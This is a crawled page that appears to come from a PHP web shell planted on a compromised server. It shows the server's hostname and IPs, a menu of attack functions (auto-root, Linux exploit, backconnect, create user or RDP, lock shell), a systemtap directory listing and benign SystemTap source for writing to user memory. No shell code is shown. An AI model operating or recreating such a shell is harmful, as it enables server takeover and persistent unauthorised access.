Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
tapset /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
arm
[ DIR ]
drwxr-xr-x
?;
arm64
[ DIR ]
drwxr-xr-x
?;
bpf
[ DIR ]
drwxr-xr-x
?;
dyninst
[ DIR ]
drwxr-xr-x
?;
i386
[ DIR ]
drwxr-xr-x
?;
ia64
[ DIR ]
drwxr-xr-x
?;
linux
[ DIR ]
drwxr-xr-x
?;
mips
[ DIR ]
drwxr-xr-x
?;
powerpc
[ DIR ]
drwxr-xr-x
?;
s390
[ DIR ]
drwxr-xr-x
?;
x86_64
[ DIR ]
drwxr-xr-x
README
371
B
-rw-r--r--
ansi.stp
4.08
KB
-rw-r--r--
argv.stp
2.66
KB
-rw-r--r--
choose_defined.stpm
208
B
-rw-r--r--
container_of.stpm
235
B
-rw-r--r--
context.stp
4.95
KB
-rw-r--r--
errno.stp
8.9
KB
-rw-r--r--
indent-default.stp
59
B
-rw-r--r--
indent.stp
4.48
KB
-rw-r--r--
init.stp
269
B
-rw-r--r--
input.stp
263
B
-rw-r--r--
java.stp
1.31
KB
-rw-r--r--
libperl5.16.3-64.stp
799
B
-rw-r--r--
libpython2.7-64.stp
522
B
-rw-r--r--
logging.stp
4.91
KB
-rw-r--r--
macros.stpm
143
B
-rw-r--r--
null.stp
17
B
-rw-r--r--
offsetof.stpm
173
B
-rw-r--r--
oneshot.stp
38
B
-rw-r--r--
pn.stp
1.55
KB
-rw-r--r--
print_stats.stpm
1.68
KB
-rw-r--r--
private30.stpm
80
B
-rw-r--r--
prometheus.stp
68
B
-rw-r--r--
prometheus.stpm
4.97
KB
-rw-r--r--
python2.stp
30.29
KB
-rw-r--r--
python3.stp
29.69
KB
-rw-r--r--
queue_stats.stp
9.26
KB
-rw-r--r--
random.stp
432
B
-rw-r--r--
regex.stp
4.01
KB
-rw-r--r--
registers.stp
7.4
KB
-rw-r--r--
sizeof.stpm
212
B
-rw-r--r--
speculative.stp
1.71
KB
-rw-r--r--
stap_staticmarkers.stp
9.44
KB
-rw-r--r--
stopwatch.stp
2.99
KB
-rw-r--r--
string.stp
6.91
KB
-rw-r--r--
switchfile.stp
612
B
-rw-r--r--
system.stp
593
B
-rw-r--r--
timers.stp
924
B
-rw-r--r--
tokenize.stp
2.07
KB
-rw-r--r--
try_assign.stpm
768
B
-rw-r--r--
type_defined.stpm
363
B
-rw-r--r--
tzinfo.stp
930
B
-rw-r--r--
uconversions-guru.stp
5.38
KB
-rw-r--r--
uconversions.stp
34.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : uconversions-guru.stp
/** * sfunction set_user_string - Writes a string to user memory * @addr: The user address to write the string to * @val: The string which is to be written * * Description: Writes the given string to a given user memory address. * Reports an error when writing to the given address fails. * Requires the use of guru mode (-g). */ function set_user_string (addr:long, val:string) %{ /* guru */ __label__ deref_fault; store_uderef_string (STAP_ARG_val, STAP_ARG_addr, MAXSTRINGLEN); if (0) { deref_fault: /* branched to from store_deref_string() */ snprintf (CONTEXT->error_buffer, sizeof(CONTEXT->error_buffer), "user string copy fault at 0x%p [man error::fault]", (void *) (uintptr_t) STAP_ARG_addr); CONTEXT->last_error = CONTEXT->error_buffer; } %} /** * sfunction set_user_string_n - Writes a string of given length to user memory * @addr: The user address to write the string to * @n: The maximum length of the string * @val: The string which is to be written * * Description: Writes the given string up to a maximum given length to a given * user memory address. Reports an error on string copy fault. * Requires the use of guru mode (-g). */ function set_user_string_n (addr:long, n:long, val:string) %{ /* guru */ __label__ deref_fault; int64_t len = clamp_t(int64_t, STAP_ARG_n + 1, 1, MAXSTRINGLEN); store_uderef_string (STAP_ARG_val, STAP_ARG_addr, len); if (0) { deref_fault: /* branched to from store_deref_string() */ snprintf (CONTEXT->error_buffer, sizeof(CONTEXT->error_buffer), "user string copy fault at 0x%p [man error::fault]", (void *) (uintptr_t) STAP_ARG_addr); CONTEXT->last_error = CONTEXT->error_buffer; } %} /** * sfunction set_user_long - Writes a long value to user memory * @addr: The user address to write the long to * @val: The long which is to be written * * Description: Writes the long value to a given user memory address. * Reports an error when writing to the given address fails. * Requires the use of guru mode (-g). */ function set_user_long (addr:long, val:long) %{ /* guru */ __label__ deref_fault; uwrite((long *) (uintptr_t) STAP_ARG_addr, STAP_ARG_val); if (0) { deref_fault: /* branched to from uwrite() */ snprintf (CONTEXT->error_buffer, sizeof(CONTEXT->error_buffer), "user long copy fault at 0x%p [man error::fault]", (void *) (uintptr_t) STAP_ARG_addr); CONTEXT->last_error = CONTEXT->error_buffer; } %} /** * sfunction set_user_int - Writes an int value to user memory * @addr: The user address to write the int to * @val: The int which is to be written * * Description: Writes the int value to a given user memory address. * Reports an error when writing to the given address fails. * Requires the use of guru mode (-g). */ function set_user_int (addr:long, val:long) %{ /* guru */ __label__ deref_fault; uwrite((int *) (uintptr_t) STAP_ARG_addr, STAP_ARG_val); if (0) { deref_fault: /* branched to from uwrite() */ snprintf (CONTEXT->error_buffer, sizeof(CONTEXT->error_buffer), "user int copy fault at 0x%p [man error::fault]", (void *) (uintptr_t) STAP_ARG_addr); CONTEXT->last_error = CONTEXT->error_buffer; } %} /** * sfunction set_user_short - Writes a short value to user memory * @addr: The user address to write the short to * @val: The short which is to be written * * Description: Writes the short value to a given user memory address. * Reports an error when writing to the given address fails. * Requires the use of guru mode (-g). */ function set_user_short (addr:long, val:long) %{ /* guru */ __label__ deref_fault; uwrite((short *) (uintptr_t) STAP_ARG_addr, STAP_ARG_val); if (0) { deref_fault: /* branched to from uwrite() */ snprintf (CONTEXT->error_buffer, sizeof(CONTEXT->error_buffer), "user short copy fault at 0x%p [man error::fault]", (void *) (uintptr_t) STAP_ARG_addr); CONTEXT->last_error = CONTEXT->error_buffer; } %} /** * sfunction set_user_char - Writes a char value to user memory * @addr: The user address to write the char to * @val: The char which is to be written * * Description: Writes the char value to a given user memory address. * Reports an error when writing to the given address fails. * Requires the use of guru mode (-g). */ function set_user_char (addr:long, val:long) %{ /* guru */ __label__ deref_fault; uwrite((char *) (uintptr_t) STAP_ARG_addr, STAP_ARG_val); if (0) { deref_fault: /* branched to from uwrite() */ snprintf (CONTEXT->error_buffer, sizeof(CONTEXT->error_buffer), "user char copy fault at 0x%p [man error::fault]", (void *) (uintptr_t) STAP_ARG_addr); CONTEXT->last_error = CONTEXT->error_buffer; } %} /** * sfunction set_user_pointer - Writes a pointer value to user memory. * @addr: The user address to write the pointer to * @val: The pointer which is to be written * * Description: Writes the pointer value to a given user memory address. * Reports an error when writing to the given address fails. * Requires the use of guru mode (-g). */ function set_user_pointer (addr:long, val:long) %{ /* guru */ __label__ deref_fault; uwrite((void **) (uintptr_t) STAP_ARG_addr, (uintptr_t)STAP_ARG_val); if (0) { deref_fault: /* branched to from uwrite() */ snprintf (CONTEXT->error_buffer, sizeof(CONTEXT->error_buffer), "user pointer copy fault at 0x%p [man error::fault]", (void *) (uintptr_t) STAP_ARG_addr); CONTEXT->last_error = CONTEXT->error_buffer; } %}
Close